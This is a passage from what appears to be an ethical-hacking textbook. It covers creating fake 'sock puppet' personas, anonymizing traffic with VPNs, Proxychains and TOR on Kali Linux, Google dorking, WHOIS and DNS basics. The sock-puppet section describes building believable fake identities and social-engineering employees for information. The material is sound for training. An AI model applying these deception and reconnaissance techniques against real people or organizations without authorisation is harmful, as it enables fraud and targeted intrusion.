The analyzed data is converted into meaningful information to determine the following:

• What is the accuracy of the collected data?
• Was the data found from credible sources?
• Is the collected data factual or is it subjective?
• Was enough data collected to understand the target or is more needed?

Next, the ethical hacker or penetration tester may attempt to collect more data but in a different 
area to better understand and improve the profile of the target. For instance, they may attempt to 
determine the organizational hierarchy of employees and perform social media OSINT to identify all 
employees with a social media profile to investigate what type of information each person is leaking 
about the company. Discovering the social media accounts of employees can lead to discovering the 
IT professionals who are employed by the targeted organization, and identifying whether they made 
any recent social media posts about their technical work in the organization.

Once sufficient data is analyzed about the target, the ethical hacker and penetration tester creates 
intelligence that will assist in planning for the weaponization, delivery, and exploitation phases to com-
promise the target. However, active reconnaissance techniques and procedures are needed to collect 
sensitive information that’s not available from OSINT.

Having completed this section, you have learned about the importance of passive information gath-
ering and how OSINT can be leveraged by ethical hackers and penetration testers to identify security 
flaws in a targeted system, network, or organization. In the next section, you will learn how to conceal 
your online identity as an aspiring ethical hacker.

Creating a sock puppet
There are many techniques and tools that are commonly used by ethical hackers and penetration 
testers to gather information about their various target sources on the internet. When performing 
passive reconnaissance and using OSINT strategies and techniques, you’ll need to ensure you do not 
make direct contact with the targeted organization and that your real identity is not revealed during 
the process. 

Sock puppet is a term that’s used within the cybersecurity industry, especially among penetration 
testers. It is simply a misrepresentation of an individual, such as creating an entire fake identity or 
persona with the intent to infiltrate an online community to gather information. 

To learn more about YOGA, please see https://yoga.myosint.training/.

https://yoga.myosint.training/
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While pretending to be someone else is unlawful, hackers always create a fake identity on the internet 
when gathering information about their targets. By creating a fake persona on an online platform such 
as a social media website, no one knows the true identity of the account owner. Therefore, the hacker 
can pretend to be an employee or a mutual friend of their target to gather data about the organization.

Penetration testers usually create a sock puppet to mask their true identity when performing any type 
of intelligence gathering about their targets. This technique is used to prevent the target, such as an 
organization or person, from determining the true identity of the penetration tester who is collecting 
data about them. If the organization hires a penetration tester to simulate a real-world cyber-attack 
and the penetration tester uses their real online accounts to gather intelligence, their true identity may 
be revealed. Some social media platforms such as LinkedIn allow a user to see who has visited their 
profile recently. If the penetration tester uses their real account to investigate an employee’s profile, 
this may trigger a red flag for the organization. Another key aspect of using a sock puppet is to ensure 
that the target does not know who is performing the OSINT investigation. This is also a good practice 
for penetration testers to remain stealthy during a security assessment.

When creating a sock puppet, ensure the profile looks very legitimate and believable to anyone who 
views it. The following are some resources for creating a sock puppet:

• Fake Name Generator – https://www.fakenamegenerator.com/
• This Person Does Not Exist – https://www.thispersondoesnotexist.com/
• Proxy credit card – https://privacy.com/

Rather than thinking about all the components needed to create a fake identity or persona, using a 
website such as Fake Name Generator enables you to select various characteristics and parameters, 
and the site will generate an entire fake identity within a few seconds. A profile without a picture is 
always a red flag, and using someone else’s photo may work for a bit until someone discovers their 
friend’s or relative’s profile picture is being used on another account by performing a reverse image 
lookup using Google Lens. Using a website such as This Person Does Not Exist is beneficial as it uses 
algorithms to generate pictures of people who do not exist in reality. However, keep in mind that there 
are various online tools that can be used to identify an AI-generated image.

The following are some advanced techniques that can be used by penetration testers for creating 
their sock puppet:

• Persona development – Creating and maintaining a believable background, character, and 
interests to gain trust and improve credibility over time.

• Social engineering – Leveraging social engineering techniques to build trust with a sock puppet. 
This can be participating in online communities that are important to the target, networking 
with mutual online friends and connections to expand your online network of people, and 
eventually gaining access to sensitive information about the target.

Never use personal accounts for work-related activities, such as OSINT operations, inves-
tigations, ethical hacking, or penetration testing.

https://www.fakenamegenerator.com/
https://www.thispersondoesnotexist.com/
https://privacy.com/
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• Digital footprint management – Ensuring the online, digital footprint of the sock puppet profile 
appears to be authentic on social media platforms and online forums and communities. Many 
social media platforms provide tools to help users schedule their posts, which is beneficial for 
maintaining your online activity level.

• Anonymity and Operation Security (OpSec) – Using OpSec technologies and techniques can 
help improve anonymity when performing passive reconnaissance. OpSec includes using 
Virtual Private Networks (VPNs), routing traffic via The Onion Router (TOR) network, and 
avoiding the disclosure or sharing of PII that can be traced back to you, the penetration tester.

• Scripting and automation – Using Artificial Intelligence (AI) in cybersecurity, penetration 
testers can automate the creation of scripts to sustain their interactions and responses using 
their sock puppet’s online presence.

• Cross-platform integration – Creating the sock puppet across multiple social networks and 
communication channels helps expand its reach within the targeted environment.

• Continuous monitoring and adaptation – It’s important to continuously monitor whether the 
sock puppet is effective and adapt it to the changing environment to improve the credibility 
of the persona.

Sometimes, as a penetration tester, you’ll need a burner phone number or some type of payment service 
to help with your penetration testing engagement. Using your own credit card on various sites can 
lead to revealing your true identity, such as purchasing a burner phone number to perform social 
engineering over the telephone. Using a website such as Privacy can act as a proxy for your credit card. 
The site works by storing your real credit card number, which then enables you to generate a unique 
proxy card number for each unique service or website you want to perform a transaction on. This pre-
vents you from revealing your true identity through your credit card number on e-commerce websites.

The following are some guidelines when creating a sock puppet:

• Whenever you’re creating a social media account, ensure you do not use your real IP address. 
Consider using the free internet service at a local coffee shop.

• When creating social media accounts, do not use VPNs or TOR services as many social media 
platforms are able to detect your origin traffic is being proxy through a VPN or TOR network, 
and will require additional identity verification during the account creation process.

• Your sock puppet account should look like a normal person to avoid any red flags of being 
identified as a fake account.

• Consider using a burner email address when registering for online accounts. There are many 
free email services, such as Proton Mail (https://proton.me/), that provide additional layers 
of privacy. However, you can create a vanilla (basic) email address on Gmail, Outlook, and 
even Yahoo Mail.

• After the sock puppet profile is created, ensure you frequently share updates, statuses, and 
pictures, and interact and connect with others on the platform.

https://proton.me/
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• Do not use another person’s picture as your sock puppet profile picture. A reverse image search 
can be used to identify whether a picture is fake or being misused online.

Having completed this section, you have understood the fundamentals and importance of using a 
sock puppet when performing reconnaissance on a target. In the next section, you will learn how to 
anonymize your internet-based traffic.

Anonymizing internet-based traffic
Ensuring your identity is kept secret during a penetration test is important to prevent the target from 
knowing who is collecting information about them. However, during the reconnaissance phase of 
the Cyber Kill Chain® (covered in Chapter 1), you may be using various tools to help automate the 
information-gathering process. These tools will generate traffic and contain your source IP address 
within each packet that leaves your device.

For instance, you’re performing a port scan on a targeted web server to identify open ports and running 
services. When the port scanner tool on your device sends specially crafted packets (probes) to the 
targeted web server, each probe will contain your source IP address, which can be used to identify your 
geolocation. The targeted web server will generate log messages on each transaction it performs and 
will contain a record of all source IP addresses, including yours. Targets can identify and counteract 
anonymization by performing traffic analysis, behavior analysis, IP geolocation identification, user 
agent analysis, implementation of CAPTCHA challenges, and so on.

The following are common techniques that are used by penetration testers to anonymize their traffic:

• VPN
• ProxyChains
• TOR

In the following sub-sections, you will discover the benefits of using each of these technologies as a 
penetration tester.

VPN
A VPN allows a user to securely send data across an insecure network, such as the internet. Within the 
field of Information Technology (IT), security and networking professionals often implement VPNs 
to ensure their remote workers and offices can securely access the resources located at the corporate 
office over the internet. This type of VPN is referred to as a Remote Access VPN. Additionally, a site-
to-site VPN can be used to establish a secure communication channel between branch offices across 
the internet without using a dedicated Wide Area Network (WAN) service from a telecommunications 
provider.

There are additional methods you can use to anonymize your traffic, such as using cloud-
based services, public Wi-Fi hotspots, and blockchain-based networks, and using encrypted 
messaging apps such as Telegram.
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Penetration testers can use a VPN service to ensure the network traffic that originates from their at-
tacker system exists in a different geographic location. Let’s imagine you need to use a tool to perform 
a scan on a target server on the internet but you do not want your target to know the actual source of 
the traffic. Using a VPN, where the VPN server is located in another country, can be beneficial to you. 
This means your network traffic will be securely routed through the VPN service provider’s network and 
will only exit in the country of your destination VPN server. Therefore, you can have all your network 
traffic exit in the USA, Russia, or Brazil, and so on, masking and anonymizing your identity and origin.

The following diagram shows a simple representation of using online VPN servers:

Figure 4.4: VPN servers

The following are some notable points to consider when using a VPN to anonymize your network 
traffic to the internet:

• Using a commercial VPN service provider requires a paid subscription.
• Ensure your VPN service provider does not keep logs or sell user data to third-party data 

brokers on the internet.
• Ensure the VPN service provider allows unlimited or unmetered bandwidth for users.
• Ensure the VPN service provider has support and a VPN client for your operating system.
• You can host your own VPN server on a cloud service provider on the internet.
• When using a VPN, ensure your DNS traffic is not leaking as it will reveal your geolocation. 

Consider using DNS Leak Test (https://www.dnsleaktest.com/) to verify whether your DNS 
messages are leaking outside your VPN tunnel.

• When using a VPN, consider disabling IPv6 communication on your operating system.

https://www.dnsleaktest.com/
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Before choosing a VPN service or cloud provider or setting up a solution, ensure you do a lot of re-
search and testing to determine which solution works best for you. Next, you will learn how to use 
Proxychains to anonymize your traffic to the internet.

Proxychains
A proxy is a system such as a server that sits between a source and destination host on a network. If 
a sender wants to communicate with a destination server, the sender forwards the message to the 
proxy system, which is then forwarded to the destination server. The destination server will think the 
message is originating from the proxy system and not the actual source. Within the field of informa-
tion technology, using proxy servers has many benefits. In the cybersecurity industry, it is commonly 
used to anonymize the origin of network traffic and to mask the real source IP address of an ethical 
hacker and penetration tester.

Penetration testers use proxychains, which enables them to create a logical chain of connections 
between multiple proxy servers when sending traffic to a targeted system, network, or the internet. 
Proxychains allow a penetration tester to configure various types of proxies, such as the following:

• HTTP
• HTTPS
• SOCKS4
• SOCKS5

Simply put, the traffic from the ethical hacker’s system will be sent to the first proxy server within the 
chain, then to the next, and so on until the last proxy server within the chain forwards the traffic to the 
destination (target) on the internet. Using Proxychains does not encrypt your traffic, as compared to 
VPNs, but it does provide anonymity for your network traffic and prevents your real IP address from 
being exposed to the target.

OpenVPN enables anyone to host their own VPN access server as a self-hosting solution 
or on the cloud. The OpenVPN Access Server enables up to 2 devices for free. To learn 
more about OpenVPN Access Server, please see https://openvpn.net/access-server/.

It’s important to consider the security implications and limitations of using proxies, such 
as the potential for logging and tracing by proxy server administrators or the susceptibility 
to certain attacks such as on-path attacks like man-in-the-middle to intercept network 
traffic. Furthermore, when chaining multiple proxy servers, there’s a higher potential for 
latency between the source and destination of network traffic.

https://openvpn.net/access-server/
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The following diagram shows the flow of traffic during the proxy chaining effect:

Figure 4.5: Proxy chaining

Where does a penetration tester obtain a list of proxy servers? This is a common question that’s asked 
by many people. Simply put, you can set up your own proxy servers on the internet using various cloud 
service providers, such as Microsoft Azure and Amazon Web Services (AWS). Additionally, you can 
obtain proxy servers from paid services such as VPN service providers and perform a Google search 
such as free proxy server list to find freely available proxy servers.

To get started setting up Proxychains, please use the following instructions:

1. Open Oracle VM VirtualBox Manager and power on the Kali Linux virtual machine.
2. Log in to the Kali Linux virtual machine, then open the Terminal and use the following com-

mands to update the local filename database and search for the proxychains4 configuration file:

kali@kali:~$ sudo updatedb
kali@kali:~$ locate proxychain

You can use a website such as https://spys.one/en/ to obtain a list of free proxy servers. 
However, keep in mind that these servers may not always be online or available. Therefore, 
it’s recommended to use multiple proxy servers.

https://spys.one/en/


Chapter 4 135

The following screenshot shows the location of the proxychains4.conf file:

Figure 4.6: Locating the proxychains configuration file

3. Next, either on your host operating system or Kali Linux, open the web browser and go to 
https://spys.one/en/ for a list of proxy servers. Ensure you choose a few proxy servers 
from the website.

4. After choosing a few proxy servers from the previous step, you will need to modify the 
proxychains4.conf file to use the proxy servers. Use the following command to open the 
proxychains4.conf file with the Nano command-line text editor:

kali@kali:~$ sudo nano /etc/proxychains4.conf

5. Next, the contents of the proxychains4.conf file will appear on the Terminal. Scroll down using 
the directional keys on your keyboard to the line that contains #dynamic_chain and remove the 
# character from the start of the line. Then, insert a # character at the start of strict_chain, 
as shown in the following screenshot:

Figure 4.7: Editing the proxychain’s configuration file

https://spys.one/en/
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As shown in the preceding screenshot, removing the # character at the start of a line within 
a configuration file in Linux will uncomment the line of code and will allow the operating 
system to execute the line of commands. Therefore, by uncommenting dynamic_chain, the 
proxychains application will chain all the proxy servers within a predefined list. By commenting 
strict_chain, proxychains will not use this method of proxy.

6. Next, scroll down to the end of the proxychains4.conf file and insert a comment (#) at the 
start of socks4 127.0.0.1 9050 to disable the TOR proxy option. Then, insert each additional 
proxy server on a new line at the end of the ProxyList, as shown below:

Figure 4.8: Adding proxies

7. Next, to save the configuration file, press Ctrl + X on your keyboard, then Y to confirm the 
filename, and hit Enter to save and exit to the Terminal.

Before using Proxychains, use the following commands to retrieve your real public IPv4 address:

kali@kali:~$ curl ifconfig.co

To use Proxychains, use the following commands to launch a Firefox web browsing session 
that will route all internet-based traffic through the list of proxy servers:

kali@kali:~$ proxychains4 -f /etc/proxychains4.conf firefox

8. Next, once the Firefox application opens on Kali Linux, go to https://ifconfig.co/ to verify 
the public IP address and geolocation that’s seen by devices on the internet, as shown below:

The proxychains4 -f <configuration file> command enables us to select 
a specific configuration file to use.

https://ifconfig.co/
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Figure 4.9: Public IP address verification

As shown in the preceding screenshot, the public IP address is the last proxy server in the 
proxychains4.conf file. In addition, the public IP address shown here is different from your 
real public address from step 7.

9. You can use the following commands to download and view the ifconfig.co webpage with 
the new public address:

kali@kali:~$ proxychains4 -f /etc/proxychains4.conf curl ifconfig.co

The following screenshot shows the public IP addresses with and without using Proxychains:

Figure 4.10: Public IP address

Lastly, whenever you want to use Proxychains, ensure you check whether the proxy servers are online 
and use the commands shown in step 9.

Next, you will learn how to route your internet-based traffic through the dark web using TOR.

http://ifconfig.co
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TOR
The TOR project and its services are commonly used by cybersecurity professionals, researchers, and 
cyber criminals to both anonymize their internet-based traffic and to access the dark web. TOR allows 
a user to route their internet-based traffic through multiple nodes on the TOR network as a technique 
to conceal the sender’s identity and geolocation data from other systems on the internet.

This type of service and technology is very useful for ethical hackers and penetration testers as TOR 
adds multiple layers of data encryption for improved security and anonymity. Here’s how it works:

1. Whenever a user sends a packet into the TOR network, the TOR application on their computer 
will encrypt the packet by wrapping it in multiple layers of data encryption. 

2. When the encrypted packet arrives at the first node within the TOR network, the first node 
decrypts the first layer of encryption to determine how to forward the packet to the next node. 

3. When the packet arrives at the second node, it decrypts another layer and the process is re-
peated until the packet arrives at the exit-node or last node within the TOR network. 

4. The exit-node will perform the final decryption to determine the true destination IP address 
of the packet and forwards it toward the destination host on the internet/dark web.

Therefore, the destination host on the internet or dark web will not be able to trace the packet back 
to the real source as each TOR node only knows about the previous and next node when forwarding 
packets within the TOR network.

The following are the limitations of routing traffic through the TOR network:

• Reduction of network speeds and an increase in latency.
• The exit-node may contain security vulnerabilities – since it decrypts the traffic before for-

warding it to the destination, the decrypted traffic could be intercepted by threat actors.
• The exit-node IP address may be blocked due to malicious activities originating from the TOR 

network. This limits the ability to access various websites and services while using TOR.
• Unreliability and instability as the TOR nodes are simply volunteered by users around the world.
• Legal and ethical considerations – as TOR is mostly permitted in many parts of the world, it 

is also associated with accessing the dark web and illegal activities.

The following diagram shows the chaining effect in the TOR network:

While TOR adds layers of encryption, its primary goal is anonymity, not directly improving 
security against malware or other threats.
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Figure 4.11: TOR

To get started with setting up TOR services and TOR Browser on Kali Linux, please use the following 
instructions:

1. Open Oracle VM VirtualBox Manager and power on the Kali Linux virtual machine.
2. Next, after logging in to Kali Linux, open the Terminal and use the following commands to 

update the software package repository list:

kali@kali:~$ sudo apt update

3. Next, install TOR and TOR Browser on Kali Linux with the following commands:

kali@kali:~$ sudo apt install -y tor torbrowser-launcher

4. Next, launch the TOR Browser application with the following commands:

kali@kali:~$ torbrowser-launcher

5. Once TOR Browser appears, click on Connect to establish a connection between TOR Browser 
and the TOR network, as shown in the following screenshot:

Figure 4.12: Connect to TOR
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6. Once the connection is established to the TOR network, go to https://ifconfig.co/ to deter-
mine if the traffic from TOR Browser is being routed over the TOR network, as shown below:

Figure 4.13: Checking the TOR Browser traffic

7. Next, close TOR Browser to terminate the connection and the application.

TOR Browser will only route traffic from itself through the TOR network and not from any other ap-
plication on Kali Linux. To route traffic from any application on Kali Linux through the TOR network, 
please use the following configurations:

1. On Kali Linux, open the Terminal and use the following commands to open the proxychains4.
conf file:

kali@kali:~$ sudo nano /etc/proxychains4.conf

Once the proxychains4.conf file is open, uncomment the socks4 127.0.0.1 9050 line and 
comment all other proxy servers within the ProxyList as shown below:

Figure 4.14: The proxychains4.conf file

If you choose to visit a web address with the .onion extension, you are doing 
so at your own risk. Ensure you do not download anything or trust anything or 
anyone on the dark web.

https://ifconfig.co/
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2. Next, to save the configuration file, press Ctrl + X on your keyboard, then Y to confirm the 
filename, and hit Enter to save and exit to the Terminal.

3. Next, start the TOR service on Kali Linux with the following commands:

kali@kali:~$ sudo systemctl start tor
kali@kali:~$ sudo systemctl status tor

The following screenshot shows the TOR service is running (active):

Figure 4.15: TOR service is running (active)

4. Next, use the following commands to launch an application while routing all its internet-based 
traffic through the TOR network:

kali@kali:~$ proxychains4 firefox

The following screenshot shows the internet-based traffic from the Firefox application is being 
routed through the TOR network:

Figure 4.16: Internet-based traffic from Firefox being routed through the TOR network
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5. Lastly, use the following commands to stop the TOR service on Kali Linux:

kali@kali:~$ sudo systemctl stop tor
kali@kali:~$ sudo systemctl status tor

Having completed this section, you’ve learned about various methods to anonymize your internet-based 
traffic while learning how to use proxychains and TOR services on Kali Linux. 

Summary
In this chapter, you have learned how reconnaissance plays an important role during penetration 
testing and how it helps ethical hackers build a profile about their targets to better understand the 
security vulnerabilities that exist on them. In addition, you have explored the various TTPs of recon-
naissance and how penetration testers leverage OSINT to identify how targeted organizations are 
leaking sensitive data about themselves and how it can be leveraged by a real adversary. Lastly, you 
have gained the skills and hands-on experience to conceal your online identity and anonymize your 
internet-based traffic as an ethical hacker and penetration tester.

I trust that the knowledge presented in this chapter has provided you with valuable insights, supporting 
your path toward becoming an ethical hacker and penetration tester in the dynamic field of cyberse-
curity. May this newfound understanding empower you on your journey, allowing you to navigate the 
industry with confidence and make a significant impact. In the next chapter, Exploring Open Source 
Intelligence, you will gain the practical skills needed to efficiently harvest and analyze publicly available 
information to create intelligence on a target.

Further reading
• MITRE ATT&CK Reconnaissance – https://attack.mitre.org/tactics/TA0043/
• OSINT lifecycle – https://www.sans.org/blog/what-is-open-source-intelligence/
• OSINT Framework – https://osintframework.com/

Join our community on Discord
Join our community’s Discord space for discussions with the author and other readers:

https://packt.link/SecNet

https://attack.mitre.org/tactics/TA0043/
https://www.sans.org/blog/what-is-open-source-intelligence/
https://osintframework.com/  
https://osintframework.com/  
https://packt.link/SecNet


5
Exploring Open-Source 
Intelligence
Just a couple of decades ago, the internet was not readily available to many people and organizations 
around the world due to many constraints. However, as technologies continue to evolve and Internet 
Service Providers (ISPs) work continuously to expand their network infrastructure to ensure everyone 
can connect and access the internet, there are more users on the internet today than ever and the 
numbers are continuing to increase as many people and organizations are using the internet for their 
personal gain and business, such as education, banking, marketing, digitally connecting with others, 
and e-commerce. This means that people are continuously creating and uploading data in various 
forms on many platforms on the internet, making information easily available to anyone with access 
to the internet. Sometimes, people, and even employees of an organization, share too much sensitive 
information on the internet without realizing how adversaries can collect and analyze the data to 
create intelligence, which can then be used to plan a cyber-attack on an organization.

Ethical hackers and penetration testers collect and analyze Open Source Intelligence (OSINT) found 
in online data sources. In this chapter, you will learn how they create a profile of their target to better 
understand them before proceeding to develop or acquire an exploit to compromise targeted systems 
and networks. Here, you’ll learn how to use passive reconnaissance techniques and procedures to 
efficiently collect and analyze OSINT of a target. You will learn how to use Google hacking techniques 
to filter the search results to identify any unintentionally exposed assets, systems, and resources of a 
targeted organization. In addition, you will gain the hands-on skills used by threat actors to perform 
passive reconnaissance on a targeted domain and identify sub-domains of an organization. Further-
more, you will explore various internet search engines that are commonly used by penetration testers 
to identify the technical infrastructure of a company and how hackers are able to collect employees’ 
data to plan and improve their operations.

In this chapter, we will cover the following topics:

• Google hacking techniques
• Domain reconnaissance
• Sub-domain harvesting
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• Identifying organizational infrastructure
• Harvesting employees’ data
• Social media reconnaissance

Let’s dive in!

Technical requirements
To follow along with the exercises in this chapter, please ensure that you have met the following 
hardware and software requirements:

• Kali Linux – https://www.kali.org/get-kali/ 
• DNSmap – https://github.com/resurrecting-open-source-projects/dnsmap
• Sublist3r – https://github.com/aboul3la/Sublist3r
• Sherlock – https://github.com/sherlock-project/Sherlock

If you’re unable to connect to the internet from Kali Linux, use the cat /etc/resolv.conf command 
to determine whether your Domain Name System (DNS) servers are set correctly on Kali Linux, then 
use the sudo systemctl restart NetworkManager command to restart the Network Manager stack. 
As a last resort, you can restart the Kali Linux operating system.

Google hacking techniques
The concept of Google hacking, commonly referred to as Google dorking, is not the process of hacking 
into Google’s network infrastructure or systems, but rather leveraging the advanced search parameters 
within the Google search engine to filter specific results. Many organizations don’t always pay close 
attention to which systems and resources they are exposing on the internet. Google Search is a very 
powerful search platform that crawls/indexes everything on the internet and filters most malicious 
websites. Since Google indexes everything, the search engine can automatically discover hidden on-
line directories, resources, and login portals of many organizations. Keep in mind that while Google’s 
search capabilities can be used for finding sensitive information, over recent years, Google has taken 
steps to prevent abuse of its platform.

To get started with learning about Google dorking, let’s take a look at the following scenarios:

• Imagine you are required to use passive reconnaissance techniques to identify domains and 
sub-domains of a targeted organization. A common technique is to use Google Search to dis-
cover public-facing assets of the target. To do this, use the site:domain-name syntax to filter 
all results for the specified domain as shown here:

Using Google dorking techniques is not illegal but there’s a very fine line that you shouldn’t 
cross; otherwise, you’ll be in legal trouble. We can use Google dorking techniques to 
discover hidden and sensitive directories and web portals on the internet, but if you use 
such information with malicious intentions to perform a cyber-attack, then you can face 
legal action.

https://www.kali.org/get-kali/
https://github.com/resurrecting-open-source-projects/dnsmap
https://github.com/aboul3la/Sublist3r
https://github.com/sherlock-project/Sherlock
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Figure 5.1: site:microsoft.com

As shown in the preceding screenshot, Google Search returned only the results that contained 
the targeted domain name.

• If you want to filter the search results based on a specific keyword for a targeted domain name, 
use the keyword site:domain-name syntax, as shown here:

Figure 5.2: Using keyword
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As shown in the preceding screenshot, the eternalblue site:microsoft.com syntax enables 
us to filter the search results to display all of Microsoft’s domains and URLs that contain the 
eternalblue keyword. This is useful when performing research for security vulnerabilities 
and exploits on a targeted system based on the application, operating system, and vendor of 
the device.

• If you want to find all the domains of a targeted organization and filter the results based on 
two keywords, use the keyword1 AND keyword2 site: domain-name syntax, as shown here:

Figure 5.3: Multiple keywords

As shown in the preceding screenshot, using the AND operator with carefully chosen keywords 
helps us to find the login portals of a targeted domain.

• If you’re interested in searching for specific file types on a targeted domain, use the site:domain-
name filetype:file type syntax, as shown here:

You can use the OR syntax to specify keywords compared to using AND to include 
both keywords.
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Figure 5.4: Specific filetype

As shown in the preceding screenshot, including the filetype: syntax helps us to filter the 
search results to display any files that are either intentionally or unintentionally leaked by the 
targeted organization.

• To discover specific directories that contain sensitive keywords on their title pages, use the 
site:domain-name intitle:keyword syntax, as shown here:

Figure 5.5: Using intitle keywords
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As shown in the preceding screenshot, using the login keyword as the intitle: parameter 
is useful for displaying the login portals of the targeted domain.

• To find sub-domains of a targeted organization, use the site:domain-name -www syntax to 
exclude the www parameter, as shown here:

Figure 5.6: Excluding the www parameter

Using this technique is a good way to remove specific sub-domains and URLs from your search 
results.

Furthermore, if you’re not too sure how to use the advanced search operators on the Google search 
engine, you can simply head on over to the Google home page and click on Settings | Advanced search 
to open the Advanced Search menu, as shown here:

In addition, you can use the site:*.domain.com -site:www.domain.com syntax 
to find sub-domains of the targeted organization.
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Figure 5.7: Advanced search

Google provides a very easy and simple method to enable users to perform advanced searching and 
filtering, without having to know the advanced search operators, as shown here:

Figure 5.8: Advanced search details
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Once you’ve filled in the necessary details and clicked on the Advanced Search button, Google will 
automatically insert the appropriate search operations needed to perform advanced searches.

While there are so many possibilities when using advanced Google search operators, it can be a bit 
overwhelming. The Google Hacking Database (GHDB) is maintained by the creators of Kali Linux, 
Offensive Security (https://www.offsec.com/), and can be found at https://www.exploit-db.com/
google-hacking-database. The GHDB is a website that contains a list of various Google dorks (ad-
vanced search operators), which are used to find very sensitive information and resources on the 
internet using Google Search:

Figure 5.9: Advanced search results

As shown in the preceding screenshot, the GHDB is regularly updated with new search syntax to 
help users discover vulnerable services and sensitive directories. A word of caution, though – please 
be very mindful and careful when lurking around using Google hacking techniques. Do not use the 
information you find for malicious purposes or to cause harm to a system or network.

Having completed this section, you have learned how ethical hackers and penetration testers can 
leverage the power of Google Search to discover hidden directories and resources. In the next section, 
you will learn how to discover exposed assets owned by organizations.

https://www.offsec.com/
https://www.exploit-db.com/google-hacking-database
https://www.exploit-db.com/google-hacking-database
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Domain reconnaissance
Domain reconnaissance involves collecting information about a target-owned domain, which helps 
cybercriminals, ethical hackers, and penetration testers to identify whether the targeted organization 
has any exposed systems and network infrastructure that can be leveraged when planning a future 
attack. In addition, it helps ethical hackers and penetration testers to determine the external attack 
surface of an organization, that is, identifying all the internet-facing systems, their operating systems, 
open ports, and running services with the intention of discovering security vulnerabilities that can be 
exploited by real attackers. Domain reconnaissance can be classified as active reconnaissance if the 
ethical hacker or penetration tester is retrieving the domain records from a DNS server that’s owned 
by the target. However, with passive information gathering, the information is collected from other 
trusted sources that are not directly linked to the target.

This helps ethical hackers to determine whether their targets are unintentionally exposing vulnerable 
systems, services, and applications on the internet, and how a threat actor can leverage the informa-
tion to perform a cyber-attack. Over the following sub-sections, you’ll learn how to collect domain 
registration details, enumerate DNS records, attempt to transfer zone records from a vulnerable DNS 
server, and automate domain reconnaissance techniques.

Collecting WHOIS data
What if you could access a database that contains the records of registered domains on the internet? 
Many domain registrars allow the general public to view publicly available information about registered 
domains. This information can be found on various WHOIS databases on the internet.

The following is a list of various types of information that can be collected from WHOIS databases:

• Registrant contact information
• Administrative contact information
• Technical contact information
• Name servers
• Important dates, such as registration, update, and expiration dates
• Registry domain ID
• Registrar information

Accessing a WHOIS database is quite simple: you can use your favorite internet search engine to find 
various WHOIS databases, such as the following:

• https://who.is/

• https://www.whois.com/

• https://lookup.icann.org/

• https://whois.domaintools.com/

https://who.is/
https://www.whois.com/
https://lookup.icann.org/
https://whois.domaintools.com/ 
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Within Kali Linux, you will find a pre-installed WHOIS tool, which enables penetration testers to per-
form a WHOIS lookup directly on the Terminal. To perform a WHOIS lookup on a targeted domain, 
open the Terminal on Kali Linux and execute the whois <domain-name> commands to begin a search, 
as shown here:

Figure 5.10: The WHOIS search

As shown in the preceding screenshot, the WHOIS tool was able to retrieve publicly available infor-
mation about the targeted domain by simply asking a trusted online source. Keep in mind that, as 
the need for online privacy increases around the world, domain owners are paying a premium fee 
to ensure their contact and personal information is not revealed by WHOIS databases to the general 
public. This means that you will not commonly find personal contact information for domains that 
are no longer being revealed on WHOIS databases if the domain owner pays the premium for addi-
tional privacy features.

WHOIS tools query databases that store information about domain ownership, registra-
tion dates, expiration dates, and contact details of domain owners. However, the level of 
detail available can vary significantly based on the domain registrar’s policies and privacy 
settings chosen by the domain owner.
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However, do not pass this tool aside as there are still many organizations around the world that do 
not always value online privacy. Due to the lack of security awareness and negligence of many people 
and organizations, threat actors and penetration testers can exploit this vulnerability to collect OSINT 
on their targets.

Performing DNS enumeration
DNS is an application-layer protocol that enables a system such as a computer to resolve a hostname 
to an IP address. While there are so many devices on a network, especially on the internet, remem-
bering the IP addresses of web servers can be quite challenging. Using DNS, a system administrator 
can configure each device with both an IP address and a hostname. Using a hostname is a lot easier 
to remember, such as www.packtpub.com or www.google.com. However, do you know the IP addresses 
of the servers that are hosting these websites for Packt and Google? You probably don’t, and that’s 
okay because, on the internet, there is a hierarchy of DNS servers that contain the records of public 
hostnames and their IP addresses. These are known as root DNS servers.

A DNS server is like a traditional telephone directory, with a list of people and their telephone num-
bers. On a DNS server, you can find records of the hostnames of servers and devices, as well as their 
associated IP addresses. Many popular internet companies, such as Cisco, Google, and Cloudflare, 
have set up many public DNS servers around the internet, which contain the records of almost every 
public domain name on the internet.

To get a better understanding of how a client device such as a computer uses DNS to resolve a domain 
name, let’s take a look at the following scenario:

1. Imagine you want to view the webpage on www.example.com on your computer, so you decide 
to open the web browser and enter www.example.com within the address bar and hit enter to 
connect to the web server.

2. Your computer will check the local DNS cache to determine whether the IP address of www.
example.com is known already due to a previous connection. If the IP address of www.example.
com is found within the local cache, the computer will establish a connection to the destination 
server.

To learn more about root DNS servers, please visit https://www.cloudflare.com/
learning/dns/glossary/dns-root-server/. More information on types of DNS servers 
can be found at https://www.cloudflare.com/learning/dns/dns-server-types/.

http://www.packtpub.com
http://www.google.com
https://www.cloudflare.com/learning/dns/glossary/dns-root-server/
https://www.cloudflare.com/learning/dns/glossary/dns-root-server/
https://www.cloudflare.com/learning/dns/dns-server-types/
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3. If the IP address is not found within the local DNS cache of the client, the client sends a DNS 
Query message to the DNS server, requesting the IP address of the hostname (www.example.
com), as shown here:

Figure 5.11: DNS query

4. The DNS server will check its records and respond to the client with a non-authoritative DNS 
reply message, providing the client with the IP address of the hostname, as shown here:

Figure 5.12: DNS response

If the DNS server does not have the requested records for the hostname, it performs 
a recursive DNS lookup to retrieve the DNS records either from other DNS servers 
on the internet or the root DNS server. When the client receives the IP address from 
the DNS reply from the DNS server, the client stores the IP address-to-hostname 
mapping within the local DNS cache for future reference.
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5. The client uses the IP address from the DNS reply to connect to www.example.com on the 
internet, as shown here:

Figure 5.13: Client establishing a connection

There are many public DNS servers on the internet; some are created by threat actors with malicious 
intentions, such as redirecting unaware users to malicious websites for social engineering purposes. 
As a result, I recommend using a trusted DNS provider on all of your networking devices, security 
appliances, servers, and computers to improve your organization’s online safety. 

The following are some popular DNS servers on the internet:

• Cloudflare: https://1.1.1.1/
• Quad 9: https://www.quad9.net/
• Cisco OpenDNS: https://www.opendns.com/
• Google Public DNS: https://developers.google.com/speed/public-dns

Additionally, DNS servers not only resolve a hostname to an IP address, but they also contain various 
types of records with information about a domain, such as the following:

• A: This record maps a hostname to an IPv4 address.
• AAAA: This is used to map a hostname to an IPv6 address.
• NS: This is used for specifying the name servers for a domain.
• MX: This specifies the mail exchange or email servers for the domain.
• PTR: This record maps an IPv4 or IPv6 address to a hostname.
• CNAME: This is used to specify an alias for another record.
• RP: This report contains the responsible person for the domain.
• SOA: This record specifies the authority for the domain.
• SRV: This record contains the service records such as port numbers for specific services on 

the domain.

https://1.1.1.1/
